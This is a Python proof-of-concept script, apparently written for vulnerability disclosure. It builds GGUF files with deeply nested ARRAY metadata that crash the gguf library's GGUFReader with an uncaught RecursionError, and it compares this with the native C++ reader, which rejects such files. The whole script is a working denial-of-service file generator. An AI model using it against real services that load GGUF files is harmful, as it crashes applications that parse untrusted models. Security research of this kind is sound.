#!/usr/bin/env python3
"""
PoC: GGUF Nested Array (ARRAY-of-ARRAY) Uncontrolled Recursion -> RecursionError DoS

Target:   gguf (PyPI), gguf-py from ggml-org/llama.cpp
File:     gguf/gguf_reader.py, GGUFReader._get_field_parts()

Root cause (CWE-674, Uncontrolled Recursion):

    if gtype == GGUFValueType.ARRAY:
        raw_itype = self._get(offs, np.uint32)
        offs += int(raw_itype.nbytes)
        alen = self._get(offs, np.uint64)
        offs += int(alen.nbytes)
        aparts = [raw_itype, alen]
        data_idxs = []
        for idx in range(alen[0]):
            curr_size, curr_parts, curr_idxs, curr_types = self._get_field_parts(offs, raw_itype[0])
            ...

When a KV metadata field has type ARRAY, the reader reads the array's
*element* type (`raw_itype`) and recurses into `_get_field_parts()` to
parse each element -- with NO check that `raw_itype` isn't itself ARRAY,
and no recursion depth limit. A GGUF file can therefore declare an array
whose element type is "array", whose element type is "array", ... nested
as deep as the file declares.

The reference C/C++ implementation in ggml-org/llama.cpp explicitly
rejects this: in `ggml/src/gguf.cpp`, the type-dispatch switch statement
has:

    case GGUF_TYPE_ARRAY:
    default:
        {
            GGML_LOG_ERROR("%s: key '%s' has invalid GGUF type %d\n", ...);
            ok = false;
        } break;

i.e. encountering ARRAY as an array's element type is treated as an
invalid/malformed file and rejected cleanly. The Python bindings have no
equivalent check.

Impact: nesting depth around Python's default recursion limit (~1000)
causes an uncaught `RecursionError` that propagates all the way out of
`GGUFReader.__init__()` -- there is no try/except anywhere in the
recursive call chain. Any application that calls `GGUFReader(path)`
without a specific `except RecursionError` handler (unusual -- most
code anticipates `ValueError`/`OSError` for file-parsing failures, not
`RecursionError`) crashes with an unhandled exception. A file of
roughly 12KB is enough to trigger this reliably.

This script:
  1. Builds a small, valid GGUF file with a single KV field of type
     ARRAY, nested N levels deep (each level's element type is again
     ARRAY, with array length 1), bottoming out in a 1-element INT32
     array.
  2. Demonstrates that Python silently accepts shallow nesting (10,
     100 levels) but raises an uncaught RecursionError at deeper
     nesting (1000, 5000 levels).
  3. If a compiled `llama-gguf` binary path is given, also demonstrates
     that the native C++ reference implementation cleanly REJECTS even
     a single level of nesting -- confirming this is a genuine parity
     gap, not merely "the file is malformed and everyone rejects it
     differently."

Requires: pip install gguf numpy
"""

import struct
import os
import subprocess
import sys

GGUF_MAGIC = 0x46554747
GGUFValueType_ARRAY = 9
GGUFValueType_INT32 = 5


def pack_str(s: str) -> bytes:
    b = s.encode("utf-8")
    return struct.pack("<Q", len(b)) + b


def build_nested_array_gguf(depth: int, path: str) -> int:
    header = struct.pack("<I", GGUF_MAGIC)
    header += struct.pack("<I", 3)   # version
    header += struct.pack("<Q", 0)   # tensor_count
    header += struct.pack("<Q", 1)   # kv_count

    kv = pack_str("nested")
    kv += struct.pack("<I", GGUFValueType_ARRAY)   # top-level type: ARRAY

    for _ in range(depth):
        kv += struct.pack("<I", GGUFValueType_ARRAY)  # element type: ARRAY (nested!)
        kv += struct.pack("<Q", 1)                     # array length: 1

    # bottom out with a real 1-element INT32 array
    kv += struct.pack("<I", GGUFValueType_INT32)
    kv += struct.pack("<Q", 1)
    kv += struct.pack("<i", 42)

    data = header + kv
    with open(path, "wb") as f:
        f.write(data)
    return len(data)


def test_python_reader(path: str, depth: int) -> None:
    from gguf.gguf_reader import GGUFReader
    try:
        GGUFReader(path)
        print(f"  depth={depth}: accepted silently (no error)")
    except RecursionError as e:
        print(f"  depth={depth}: RecursionError -- {e}")
    except Exception as e:
        print(f"  depth={depth}: {type(e).__name__}: {e}")


def test_native_reader(binary: str, path: str) -> None:
    r = subprocess.run([binary, path, "r"], capture_output=True, timeout=10)
    stderr = r.stderr.decode(errors="replace")
    if "invalid GGUF type" in stderr or "invalid GGUF type" in r.stdout.decode(errors="replace"):
        print("  native C++ reader: cleanly REJECTED (invalid GGUF type)")
    else:
        print(f"  native C++ reader: exit={r.returncode}, stderr tail: {stderr[-200:]}")


def main():
    print("=== Building nested-array GGUF files at increasing depth ===\n")
    for depth in (1, 10, 100, 1000, 5000):
        path = f"poc_nested_array_depth_{depth}.gguf"
        size = build_nested_array_gguf(depth, path)
        print(f"depth={depth}: {size} bytes")
        test_python_reader(path, depth)
        if depth == 1 and len(sys.argv) > 1:
            print()
            test_native_reader(sys.argv[1], path)
        print()

    print(
        "Depth 1000 (~12KB file) is enough to trigger an uncaught RecursionError\n"
        "on Python's default recursion limit. The exception propagates all the way\n"
        "out of GGUFReader.__init__() with no handling anywhere in the library."
    )


if __name__ == "__main__":
    main()